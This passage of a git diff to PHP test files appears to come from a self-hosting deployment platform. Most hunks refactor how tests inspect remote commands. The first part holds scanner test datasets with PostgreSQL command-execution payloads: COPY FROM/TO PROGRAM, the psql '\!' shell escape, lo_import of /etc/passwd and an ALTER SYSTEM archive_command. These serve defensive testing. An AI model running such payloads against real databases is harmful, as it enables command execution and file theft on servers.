+ 'escaped tab before backquotes' => ["COPY public.notes (id, body) FROM stdin;\n1\ttab\\t `backticks` here\n\\.\n"], + 'null row before text' => ["COPY a (x) FROM stdin;\n\\N\nfrom program\n\\.\n"], + 'several blocks' => ["COPY a (x) FROM stdin;\nfrom program\n\\.\n\nCOPY b (y) FROM stdin;\n\\.\nCOPY c (z) FROM stdin;\nto program\n\\.\nSELECT 1;\n"], +]); +dataset('postgresql statements around copy data', [ + 'program statement after a copy block' => ["COPY notes FROM stdin;\n1\tok\n\\.\nCOPY x FROM PROGRAM 'id';\n"], + 'shell command after a copy block' => ["COPY notes FROM stdin;\n1\tok\n\\.\n\\! id\n"], + 'copy header that is not alone on its line' => ["SELECT 1; COPY notes FROM stdin;\nCOPY x FROM PROGRAM 'id';\n\\.\n"], + 'program statement before a copy block' => ["COPY x TO PROGRAM 'id';\nCOPY notes FROM stdin;\n1\tok\n\\.\n"], + 'commented-out program statement' => ["-- COPY x FROM PROGRAM 'id'\nSELECT 1;\n"], + 'program statement in a block comment' => ["/* COPY x TO PROGRAM 'id' */\nSELECT 1;\n"], +]); + +test('postgresql backup safety scanner allows text in copy data rows', function (string $dump) { + expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($dump))->toBeFalse(); +})->with('postgresql copy data rows'); + +test('remote postgresql scanner allows text in copy data rows', function (string $dump) { + expect(scannerBlocks(postgresScanScript(writeScanPayload($dump))))->toBeFalse(); +})->with('postgresql copy data rows'); + +test('postgresql backup safety scanner blocks statements around copy data', function (string $dump) { expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($dump))->toBeTrue(); -}); +})->with('postgresql statements around copy data'); + +test('remote postgresql scanner blocks statements around copy data', function (string $dump) { + expect(scannerBlocks(postgresScanScript(writeScanPayload($dump))))->toBeTrue(); +})->with('postgresql statements around copy data'); test('postgresql backup safety scanner blocks program execution hidden in dynamic sql', function (string $payload) { expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($payload))->toBeTrue(); @@ -281,10 +307,13 @@ test('postgresql backup safety scanner blocks program execution hidden in dynami 'mid-statement psql shell' => ["SELECT 1; \\! id\n"], ]); -test('backup validator rejects plaintext .dump containing program execution', function () { - $file = makeTemporaryUpload('evil.dump', "COPY x FROM PROGRAM 'id';\n"); +// The upload does not know the target database type, so it does not run the PostgreSQL scan: +// a MySQL dump can hold the same words. A PostgreSQL import scans the whole file when it starts. +test('backup validator accepts SQL uploads that the PostgreSQL scan would block', function () { + $file = makeTemporaryUpload('mysql.sql', "INSERT INTO `notes` VALUES (1,'imported from program files'),(2,'\\! not a command');\n"); - expect(DatabaseBackupFileValidator::isUploadAllowed($file, 10 * 1024 * 1024))->toBeFalse(); + expect(DatabaseBackupFileValidator::isUploadAllowed($file, 10 * 1024 * 1024))->toBeTrue() + ->and(DatabaseBackupFileValidator::fileContainsPostgresqlProgramExecution($file->getPathname()))->toBeTrue(); }); test('remote postgresql scanner blocks bypass payloads', function (string $content, bool $gzip) { @@ -320,7 +349,6 @@ test('remote postgresql scanner blocks bypass payloads', function (string $conte 'large object import' => ["SELECT lo_import('/etc/passwd');\n", false], 'alter system' => ["ALTER SYSTEM SET archive_command = 'id';\n", false], 'commented out payload is now blocked' => ["-- COPY x FROM PROGRAM 'id'\nSELECT 1;\n", false], - 'program words in table data are blocked' => ["COPY notes FROM stdin;\n1\tcopy files from program storage\n\\.\n", false], ]); test('remote postgresql scanner allows legitimate restores', function (string $content, bool $gzip) { diff --git a/tests/Feature/DatabaseDumpExitStatusTest.php b/tests/Feature/DatabaseDumpExitStatusTest.php index 7a9382a74b..b9a867acd8 100644 --- a/tests/Feature/DatabaseDumpExitStatusTest.php +++ b/tests/Feature/DatabaseDumpExitStatusTest.php @@ -90,7 +90,7 @@ it('records a failed SQLite dump as failed and removes the partial backup file', ]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return str_contains($command, 'VACUUM INTO') diff --git a/tests/Feature/DatabaseFlushTest.php b/tests/Feature/DatabaseFlushTest.php index 476aed154d..072a8e4e64 100644 --- a/tests/Feature/DatabaseFlushTest.php +++ b/tests/Feature/DatabaseFlushTest.php @@ -63,7 +63,7 @@ it('flushes every key with the engine CLI', function (string $model, array $attr ->assertReturned(true) ->assertDispatched('success'); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); expect(AuditEvent::query()->where('event', 'ui.database.flushed')->where('resource_uuid', $database->uuid)->exists())->toBeTrue(); })->with([ 'redis' => [StandaloneRedis::class, [], 'redis-cli'], diff --git a/tests/Feature/DatabaseImportInterruptedCleanupTest.php b/tests/Feature/DatabaseImportInterruptedCleanupTest.php index f82b8cc438..baabb45a09 100644 --- a/tests/Feature/DatabaseImportInterruptedCleanupTest.php +++ b/tests/Feature/DatabaseImportInterruptedCleanupTest.php @@ -205,9 +205,9 @@ test('the cleanup runs at most once per import', function () { $listener->handle(new DatabaseImportFinished($cleanup)); $listener->handle(new DatabaseImportFinished([...$cleanup, 'stopRestore' => true])); - Process::assertRanTimes(fn ($process) => str_contains($process->command, "s3-restore-{$operation}"), 1); - Process::assertRan(fn ($process) => str_contains($process->command, "/tmp/restore_{$operation}") - && str_contains($process->command, 'Stopping the database import processes')); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), "s3-restore-{$operation}"), 1); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "/tmp/restore_{$operation}") + && str_contains(remoteProcessScript($process), 'Stopping the database import processes')); }); test('the cleanup of an import without an operation id still runs every time', function () { @@ -218,7 +218,7 @@ test('the cleanup of an import without an operation id still runs every time', f $listener->handle(new DatabaseImportFinished($cleanup)); $listener->handle(new DatabaseImportFinished($cleanup)); - Process::assertRanTimes(fn ($process) => str_contains($process->command, $cleanup['containerName']), 2); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), $cleanup['containerName']), 2); }); it('keeps the stop message when the stopped import process ends afterwards', function () { @@ -277,7 +277,7 @@ it('keeps the stop message when the stopped import job fails', function () { test('an import task may run longer than the SSH command timeout while other remote tasks keep the default timeout', function (int $commandTimeout) { config()->set('constants.ssh.command_timeout', $commandTimeout); Process::swap(new ProcessFactory); - Process::fake([ + fakeRemoteProcesses([ '*stat -c %s*' => Process::result('2048'), '*od -An -tx1*' => Process::result(' 2d 2d 20 50 6f 73'), '*' => Process::result(''), @@ -314,8 +314,8 @@ test('a failed import task stops the remote restore and blocks the database unti (new CleanupDatabaseImport)->handle(new DatabaseImportFinished([...$cleanup, 'stopRestore' => true])); - Process::assertRan(fn ($process) => str_contains($process->command, "/tmp/restore_{$operation}") - && str_contains($process->command, 'Stopping the database import processes')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "/tmp/restore_{$operation}") + && str_contains(remoteProcessScript($process), 'Stopping the database import processes')); $activity->refresh(); expect(data_get($activity, 'properties.status'))->toBe(ProcessStatus::ERROR->value) ->and(data_get($activity, 'properties.error'))->toBe('App\\Jobs\\CoolifyTask has timed out. '.ResourceStartActivity::IMPORT_STOPPED_MESSAGE) @@ -379,7 +379,7 @@ test('an import whose SSH command ends without the restore result stops the rest Process::fake(); (new CleanupDatabaseImport)->handle(new DatabaseImportFinished([...$cleanup, 'stopRestore' => true])); - Process::assertRan(fn ($process) => str_contains($process->command, 'Stopping the database import processes')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'Stopping the database import processes')); $activity->refresh(); expect(data_get($activity, 'properties.status'))->toBe(ProcessStatus::ERROR->value) ->and(data_get($activity, 'properties.error'))->toBe("{$reason} ".ResourceStartActivity::IMPORT_STOPPED_MESSAGE) @@ -426,7 +426,7 @@ test('a restore that exits like a lost SSH connection or timeout reports a norma $this->server->update(['user' => $user]); Server::flushIdentityMap(); Process::swap(new ProcessFactory); - Process::fake([ + fakeRemoteProcesses([ '*stat -c %s*' => Process::result('2048'), '*od -An -tx1*' => Process::result(' 2d 2d 20 50 6f 73'), '*' => Process::result(''), diff --git a/tests/Feature/DatabaseImportRestoreOptionsTest.php b/tests/Feature/DatabaseImportRestoreOptionsTest.php index bb254d96e0..64e47c021d 100644 --- a/tests/Feature/DatabaseImportRestoreOptionsTest.php +++ b/tests/Feature/DatabaseImportRestoreOptionsTest.php @@ -70,7 +70,7 @@ beforeEach(function () { */ function importRestoreScript(Model $database, DatabaseImportSource $source): string { - Process::fake([ + fakeRemoteProcesses([ '*stat -c %s*' => Process::result('2048'), '*od -An -tx1*' => Process::result(' 1f 8b 08 00 00 00'), '*' => Process::result(''), diff --git a/tests/Feature/DatabaseStartContentFilesTest.php b/tests/Feature/DatabaseStartContentFilesTest.php index 88de7023b8..c3be8071d8 100644 --- a/tests/Feature/DatabaseStartContentFilesTest.php +++ b/tests/Feature/DatabaseStartContentFilesTest.php @@ -30,7 +30,7 @@ beforeEach(function () { // Every path on the server is missing, and every path is inside the resource directory. Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'empty-directory')) { return Process::result(output: collect(range(1, substr_count($command, '/ssl/server.')))->map(fn (int $index) => "{$index}:missing")->implode("\n")); } @@ -80,7 +80,7 @@ it('writes a new SSL certificate file on the server before the container starts' foreach ($files as $file) { $path = escapeshellarg($database->workdir()."/ssl/{$file}"); - Process::assertRan(fn ($process) => str_contains($process->command, "base64 -d | tee {$path}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "base64 -d | tee {$path}")); } $commands = implode("\n", $this->executor->commands); expect($commands)->toContain('missing configuration file') diff --git a/tests/Feature/DeleteResourceJobAtomicityTest.php b/tests/Feature/DeleteResourceJobAtomicityTest.php index a23ed15c42..04b90e3950 100644 --- a/tests/Feature/DeleteResourceJobAtomicityTest.php +++ b/tests/Feature/DeleteResourceJobAtomicityTest.php @@ -189,7 +189,7 @@ it('removes service containers before its volumes and local metadata', function $service->server->settings()->update(['is_reachable' => true, 'is_usable' => true]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(output: ''); }); @@ -227,7 +227,7 @@ it('targets a service subresource container by its Docker labels', function () { $service->server->settings()->update(['is_reachable' => true, 'is_usable' => true]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(output: ''); }); @@ -260,7 +260,7 @@ it('removes only the database container when an application of the same service $service->server->settings()->update(['is_reachable' => true, 'is_usable' => true]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(output: ''); }); @@ -347,7 +347,7 @@ it('removes service containers with a command that works for non-root SSH users' $service->server->settings()->update(['is_reachable' => true, 'is_usable' => true]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(output: ''); }); diff --git a/tests/Feature/DeleteServiceRemoteCleanupTest.php b/tests/Feature/DeleteServiceRemoteCleanupTest.php index 52affebdfe..bb98cdd4a9 100644 --- a/tests/Feature/DeleteServiceRemoteCleanupTest.php +++ b/tests/Feature/DeleteServiceRemoteCleanupTest.php @@ -60,8 +60,8 @@ beforeEach(function () { it('removes the other volumes, networks and the configuration directory when one volume is in use', function () { $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); - if (str_contains($process->command, "docker volume rm -f '{$this->service->uuid}_web-data'")) { + $commands->push(remoteProcessScript($process)); + if (str_contains(remoteProcessScript($process), "docker volume rm -f '{$this->service->uuid}_web-data'")) { return Process::result(errorOutput: "Error response from daemon: remove {$this->service->uuid}_web-data: volume is in use", exitCode: 1); } diff --git a/tests/Feature/DeploymentCancellationCleanupTest.php b/tests/Feature/DeploymentCancellationCleanupTest.php index 0721fbc4d2..4b68e76dd5 100644 --- a/tests/Feature/DeploymentCancellationCleanupTest.php +++ b/tests/Feature/DeploymentCancellationCleanupTest.php @@ -68,7 +68,7 @@ beforeEach(function () { $this->remoteCommands = []; Process::fake(function (PendingProcess $process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $this->remoteCommands[] = $command; return Process::result(str_contains($command, 'docker ps -a') ? 'cancel-cleanup-uuid' : ''); diff --git a/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php b/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php index ff654dd00a..a08f90fe54 100644 --- a/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php +++ b/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php @@ -58,8 +58,10 @@ beforeEach(function () { SH; Process::fake(function (PendingProcess $process) use ($shellPrelude) { $command = $process->command; - if (preg_match('~<< \\\\(\S+)\n(.*)\n\1$~s', $command, $matches)) { - $script = $matches[2]; + $input = $process->input; + if (str_ends_with($command, 'exec sh -se; fi"\'')) { + $script = $input; + $input = null; } elseif (preg_match("~ '((?:[^']|'\\\\'')*)'$~s", $command, $matches)) { $script = str_replace("'\\''", "'", $matches[1]); } else { @@ -67,7 +69,7 @@ beforeEach(function () { } $shell = new SymfonyProcess(['bash', '-c', $shellPrelude."\nset -e\n".$script]); - $shell->setInput($process->input); + $shell->setInput($input); $shell->run(); return Process::result(output: $shell->getOutput(), errorOutput: $shell->getErrorOutput(), exitCode: $shell->getExitCode()); diff --git a/tests/Feature/DeploymentSensitiveCommandFailureTest.php b/tests/Feature/DeploymentSensitiveCommandFailureTest.php index e8924c758e..9e2b99e61a 100644 --- a/tests/Feature/DeploymentSensitiveCommandFailureTest.php +++ b/tests/Feature/DeploymentSensitiveCommandFailureTest.php @@ -166,7 +166,7 @@ it('hides the .env write command and its base64 payload when the write fails', f $payloads = []; Process::fake(function (PendingProcess $process) use (&$payloads) { - $payloads = array_merge($payloads, base64PayloadsInCommand($process->command)); + $payloads = array_merge($payloads, base64PayloadsInCommand(remoteProcessScript($process))); return Process::result(errorOutput: 'tee: /artifacts/sensitive-failure/.env: No space left on device', exitCode: 1); }); @@ -199,7 +199,7 @@ it('redacts the sensitive payload when the error output echoes the command', fun $payloads = []; Process::fake(function (PendingProcess $process) use (&$payloads) { - $commandPayloads = base64PayloadsInCommand($process->command); + $commandPayloads = base64PayloadsInCommand(remoteProcessScript($process)); $payloads = array_merge($payloads, $commandPayloads); return Process::result(errorOutput: "bash: line 1: echo '".($commandPayloads[0] ?? '')."': unexpected failure", exitCode: 2); @@ -223,7 +223,7 @@ it('hides the build-time env write command when the write fails', function () { $payloads = []; Process::fake(function (PendingProcess $process) use (&$payloads) { - $payloads = array_merge($payloads, base64PayloadsInCommand($process->command)); + $payloads = array_merge($payloads, base64PayloadsInCommand(remoteProcessScript($process))); return Process::result(errorOutput: 'tee: /artifacts/build-time.env: No such file or directory', exitCode: 1); }); @@ -308,9 +308,9 @@ it('logs only the variable names of the .env files in development mode', functio $ranCommands = []; Process::fake(function (PendingProcess $process) use (&$ranCommands) { - $ranCommands[] = $process->command; + $ranCommands[] = remoteProcessScript($process); - return Process::result(output: str_contains($process->command, 'cat ') ? 'APP_SECRET='.SENSITIVE_FAILURE_SECRET : ''); + return Process::result(output: str_contains(remoteProcessScript($process), 'cat ') ? 'APP_SECRET='.SENSITIVE_FAILURE_SECRET : ''); }); invokeSensitiveFailureJobMethod($job, $reflection, 'save_runtime_environment_variables'); @@ -353,11 +353,11 @@ it('hides the helper container command when build secrets are passed as environm ]); Process::fake(function (PendingProcess $process) { - if (str_contains($process->command, 'docker run -d')) { + if (str_contains(remoteProcessScript($process), 'docker run -d')) { return Process::result(errorOutput: 'docker: Error response from daemon: network not found.', exitCode: 125); } - return Process::result(output: str_contains($process->command, 'echo $HOME') ? '/root' : 'NOK'); + return Process::result(output: str_contains(remoteProcessScript($process), 'echo $HOME') ? '/root' : 'NOK'); }); $exception = captureDeploymentException(fn () => invokeSensitiveFailureJobMethod($job, $reflection, 'prepare_builder_image')); @@ -381,11 +381,11 @@ it('hides the Railpack prepare command that passes build-time values', function ]); Process::fake(function (PendingProcess $process) { - if (str_contains($process->command, 'railpack prepare')) { + if (str_contains(remoteProcessScript($process), 'railpack prepare')) { return Process::result(errorOutput: 'railpack: failed to detect a provider', exitCode: 1); } - return Process::result(output: str_contains($process->command, 'buildx version') ? 'available' : 'missing'); + return Process::result(output: str_contains(remoteProcessScript($process), 'buildx version') ? 'available' : 'missing'); }); $exception = captureDeploymentException(fn () => invokeSensitiveFailureJobMethod($job, $reflection, 'build_railpack_image')); @@ -412,7 +412,7 @@ it('hides the Nixpacks plan write command that contains build-time values', func $payloads = []; Process::fake(function (PendingProcess $process) use (&$payloads) { - $commandPayloads = base64PayloadsInCommand($process->command); + $commandPayloads = base64PayloadsInCommand(remoteProcessScript($process)); if ($commandPayloads !== []) { $payloads = array_merge($payloads, $commandPayloads); @@ -567,7 +567,7 @@ it('tells how to log in when the build server has no Docker config for the SSH u $server = readSensitiveFailureJobProperty($job, $reflection, 'server'); $server->forceFill(['user' => 'coolify', 'name' => 'build-1'])->save(); setSensitiveFailureJobProperties($job, $reflection, ['server' => $server->fresh(), 'use_build_server' => true]); - Process::fake(fn (PendingProcess $process) => Process::result(output: str_contains($process->command, 'echo $HOME') ? '/home/coolify' : 'NOK')); + Process::fake(fn (PendingProcess $process) => Process::result(output: str_contains(remoteProcessScript($process), 'echo $HOME') ? '/home/coolify' : 'NOK')); $exception = captureDeploymentException(fn () => invokeSensitiveFailureJobMethod($job, $reflection, 'prepare_builder_image')); @@ -575,7 +575,7 @@ it('tells how to log in when the build server has no Docker config for the SSH u ->toContain('of the SSH user (coolify) not found on the build server (build-1)') ->toContain('Server → Docker Registries') ->toContain('"sudo docker login" is saved for root'); - Process::assertNotRan(fn (PendingProcess $process) => str_contains($process->command, 'docker run -d')); + Process::assertNotRan(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'docker run -d')); }); it('mounts the seccomp profile from custom docker options into the helper container', function () { @@ -593,13 +593,13 @@ it('mounts the seccomp profile from custom docker options into the helper contai $helperCommands = []; Process::fake(function (PendingProcess $process) use (&$helperCommands) { - if (str_contains($process->command, 'docker run -d')) { - $helperCommands[] = $process->command; + if (str_contains(remoteProcessScript($process), 'docker run -d')) { + $helperCommands[] = remoteProcessScript($process); return Process::result(errorOutput: 'docker: Error response from daemon: invalid mount config for type "bind": bind source path does not exist: /etc/docker/seccomp-profile.json', exitCode: 125); } - return Process::result(output: str_contains($process->command, 'echo $HOME') ? '/root' : 'NOK'); + return Process::result(output: str_contains(remoteProcessScript($process), 'echo $HOME') ? '/root' : 'NOK'); }); $exception = captureDeploymentException(fn () => invokeSensitiveFailureJobMethod($job, $reflection, 'prepare_builder_image')); diff --git a/tests/Feature/DevHostDockerPathTest.php b/tests/Feature/DevHostDockerPathTest.php index 484264c461..fec0273e2d 100644 --- a/tests/Feature/DevHostDockerPathTest.php +++ b/tests/Feature/DevHostDockerPathTest.php @@ -60,7 +60,7 @@ beforeEach(function () { $this->commands = []; Process::fake(function ($process) { - $this->commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $this->commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/DevelopmentQemuVmTest.php b/tests/Feature/DevelopmentQemuVmTest.php index 180c861b12..68c43ba143 100644 --- a/tests/Feature/DevelopmentQemuVmTest.php +++ b/tests/Feature/DevelopmentQemuVmTest.php @@ -83,19 +83,19 @@ it('stores vm disks in a libvirt-accessible directory', function () { it('automatically configures the qemu host', function () { Process::fake(function ($process) { - if (str_contains($process->command, 'command -v')) { + if (str_contains(remoteProcessScript($process), 'command -v')) { return Process::result(); } - if (str_contains($process->command, 'net-info')) { + if (str_contains(remoteProcessScript($process), 'net-info')) { return Process::result(exitCode: 1); } - if (str_contains($process->command, 'network inspect')) { + if (str_contains(remoteProcessScript($process), 'network inspect')) { return Process::result(output: "172.18.0.0/16\n"); } - if (str_contains($process->command, 'iptables -C')) { + if (str_contains(remoteProcessScript($process), 'iptables -C')) { return Process::result(exitCode: 1); } @@ -104,22 +104,22 @@ it('automatically configures the qemu host', function () { ConfigureDevelopmentQemuHost::run(); - Process::assertRan(fn ($process) => str_contains($process->command, 'command -v') && str_contains($process->command, 'xorriso')); - Process::assertRan(fn ($process) => str_contains($process->command, 'systemctl enable --now libvirtd')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virsh net-define')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virsh net-start')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virsh net-autostart')); - Process::assertRan(fn ($process) => str_contains($process->command, 'sysctl -w net.ipv4.ip_forward=1')); - Process::assertRan(fn ($process) => str_contains($process->command, 'iptables -I LIBVIRT_FWI')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'command -v') && str_contains(remoteProcessScript($process), 'xorriso')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'systemctl enable --now libvirtd')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh net-define')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh net-start')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh net-autostart')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'sysctl -w net.ipv4.ip_forward=1')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'iptables -I LIBVIRT_FWI')); }); it('does not restart an active libvirt network', function () { Process::fake(function ($process) { - if (str_contains($process->command, 'net-info')) { + if (str_contains(remoteProcessScript($process), 'net-info')) { return Process::result(output: "Name: default\nActive: yes\n"); } - if (str_contains($process->command, 'network inspect')) { + if (str_contains(remoteProcessScript($process), 'network inspect')) { return Process::result(output: "172.18.0.0/16\n"); } @@ -128,9 +128,9 @@ it('does not restart an active libvirt network', function () { ConfigureDevelopmentQemuHost::run(); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh net-start')); - Process::assertRan(fn ($process) => str_contains($process->command, 'iptables -D LIBVIRT_FWI')); - Process::assertRan(fn ($process) => str_contains($process->command, 'iptables -I LIBVIRT_FWI 1')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh net-start')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'iptables -D LIBVIRT_FWI')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'iptables -I LIBVIRT_FWI 1')); }); it('seeds one predefined root qemu server', function () { @@ -196,8 +196,8 @@ it('seeds localhost through the container command', function () { ]))->toBe(Command::SUCCESS) ->and(Server::query()->findOrFail(0)->ip)->toBe('192.168.122.10'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker run -d --name coolify-db') - && str_contains($process->command, 'POSTGRES_DB=')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker run -d --name coolify-db') + && str_contains(remoteProcessScript($process), 'POSTGRES_DB=')); }); it('starts the instance database container with sudo on a non-root localhost vm', function () { @@ -206,9 +206,9 @@ it('starts the instance database container with sudo on a non-root localhost vm' Artisan::call('dev:qemu:seed', ['profile' => 'ubuntu-non-root', '--as-localhost' => true]); - Process::assertRan(fn ($process) => str_contains($process->command, 'if ! sudo docker inspect coolify-db') - && str_contains($process->command, 'sudo docker run -d --name coolify-db') - && str_contains($process->command, 'sudo docker start coolify-db')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'if ! sudo docker inspect coolify-db') + && str_contains(remoteProcessScript($process), 'sudo docker run -d --name coolify-db') + && str_contains(remoteProcessScript($process), 'sudo docker start coolify-db')); }); it('still seeds localhost when the instance database container cannot start', function () { @@ -257,13 +257,13 @@ it('reuses an existing vm without touching other managed vms', function () { $ran = []; Process::fake(function ($process) use (&$ran) { - $ran[] = $process->command; + $ran[] = remoteProcessScript($process); return match (true) { - str_contains($process->command, ' net-dumpxml ') => Process::result(output: ''), - str_contains($process->command, ' network inspect ') => Process::result(output: "172.18.0.0/16\n"), - str_contains($process->command, ' dominfo ') => Process::result(output: 'exists'), - str_contains($process->command, ' domstate ') => Process::result(output: "shut off\n"), + str_contains(remoteProcessScript($process), ' net-dumpxml ') => Process::result(output: ''), + str_contains(remoteProcessScript($process), ' network inspect ') => Process::result(output: "172.18.0.0/16\n"), + str_contains(remoteProcessScript($process), ' dominfo ') => Process::result(output: 'exists'), + str_contains(remoteProcessScript($process), ' domstate ') => Process::result(output: "shut off\n"), default => Process::result(), }; }); @@ -275,12 +275,12 @@ it('reuses an existing vm without touching other managed vms', function () { expect($resize)->not->toBeFalse() ->and($commands->search("virsh setmem 'coolify-dev-ubuntu-non-root' 1024M --config"))->toBeGreaterThan($resize) ->and($commands->search("virsh start 'coolify-dev-ubuntu-non-root'"))->toBeGreaterThan($resize); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-install ')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh destroy')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh undefine')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'coolify-dev-ubuntu-root')); - Process::assertRan(fn ($process) => str_contains($process->command, 'iptables -I LIBVIRT_FWI')); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker exec') && str_contains($process->command, 'coolify')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh destroy')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh undefine')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-root')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'iptables -I LIBVIRT_FWI')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker exec') && str_contains(remoteProcessScript($process), 'coolify')); expect(File::get("{$storagePath}/coolify-dev-ubuntu-root.qcow2"))->toBe('other vm data') ->and(File::get("{$storagePath}/coolify-dev-ubuntu-non-root.qcow2"))->toBe('vm data'); }); @@ -297,10 +297,10 @@ it('does not restart an already running vm', function () { StartDevelopmentQemuVm::run('ubuntu-root'); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh start')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh setmem')); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-install ')); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker exec') && str_contains($process->command, 'fsockopen')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh start')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh setmem')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker exec') && str_contains(remoteProcessScript($process), 'fsockopen')); }); it('freshly recreates only the selected vm', function () { @@ -320,12 +320,12 @@ it('freshly recreates only the selected vm', function () { StartDevelopmentQemuVm::run('ubuntu-non-root', true); - Process::assertRan(fn ($process) => $process->command === "virsh destroy 'coolify-dev-ubuntu-non-root'"); - Process::assertRan(fn ($process) => $process->command === "virsh undefine 'coolify-dev-ubuntu-non-root'"); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'coolify-dev-ubuntu-root')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh start')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install') && str_contains($process->command, 'coolify-dev-ubuntu-non-root')); - Process::assertRan(fn ($process) => str_contains($process->command, 'net-update') && str_contains($process->command, 'ip-dhcp-host') && str_contains($process->command, '192.168.122.11')); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh destroy 'coolify-dev-ubuntu-non-root'"); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh undefine 'coolify-dev-ubuntu-non-root'"); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-root')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh start')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-non-root')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'net-update') && str_contains(remoteProcessScript($process), 'ip-dhcp-host') && str_contains(remoteProcessScript($process), '192.168.122.11')); expect(File::get("{$storagePath}/coolify-dev-ubuntu-root.qcow2"))->toBe('other vm data') ->and(File::exists("{$storagePath}/coolify-dev-ubuntu-non-root.qcow2"))->toBeFalse() ->and(File::exists("{$storagePath}/coolify-dev-ubuntu-non-root-prepared.qcow2"))->toBeTrue(); @@ -342,9 +342,9 @@ it('passes the fresh option from the command to the selected vms only', function expect(Artisan::call('dev:qemu', ['profiles' => ['debian-root'], '--fresh' => true]))->toBe(Command::SUCCESS); - Process::assertRan(fn ($process) => $process->command === "virsh undefine 'coolify-dev-debian-root'"); - Process::assertRan(fn ($process) => 